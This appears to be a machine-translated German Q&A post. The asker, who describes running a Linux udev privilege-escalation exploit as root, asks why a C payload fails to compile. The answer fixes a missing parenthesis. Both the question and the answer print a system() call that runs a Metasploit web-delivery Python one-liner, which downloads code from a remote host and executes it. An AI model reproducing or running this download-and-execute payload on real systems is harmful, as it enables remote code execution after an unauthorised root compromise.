So verhindern Sie, dass die URL auskommentiert wird (C)

Question

Ich habe versucht, einen Berechtigungsausweitungs-Exploit unter Linux auszuführen. Die Datei wird unter/tmp/run als root-Benutzer ausgeführt (Linux kernel 2.6 UDEV exploit). Ich habe beschlossen, meine Payload in C zu machen (für eine zusätzliche Herausforderung). Es muss lediglich einen einzigen Python-Befehl ausführen (generiert von Metasploits Web-Delivery-Modul). Das Problem ist, wenn ich eine URL als Zeichenfolge eingeben, wird der // in http: // den Rest der URL kommentieren.

Ich weiß nicht so viel C, also habe ich keine Ahnung, wie ich dieses Problem beheben kann. Das mag ein wenig noob-isch erscheinen, aber ich kann wirklich nirgends eine Antwort finden.

Aktuelle Code:

#include <stdio.h> 

int main(void) { 
    system("python -c \"import urllib2; r = urllib2.urlopen('http://0.0.0.0:8080/tmmPIejv70OV'); exec(r.read());\"" <== // in http:// comments out rest of line 
    return 0; 

} 

Gibt es eine richtige Art und Weise, dies zu beheben?

Answer 1

// macht keinen Kommentar innerhalb eines String-Literals. Die Verwendung von // in der Zeichenfolge ist nicht das von Ihnen gepostete Problem. Stattdessen sollten Sie den Funktionsaufruf system mit dem Abschluss ) abschließen.

#include <stdio.h> 

int main(void) { 
    system("python -c \"import urllib2; r = urllib2.urlopen('http://0.0.0.0:8080/tmmPIejv70OV'); exec(r.read());\""); 
    return 0; 
}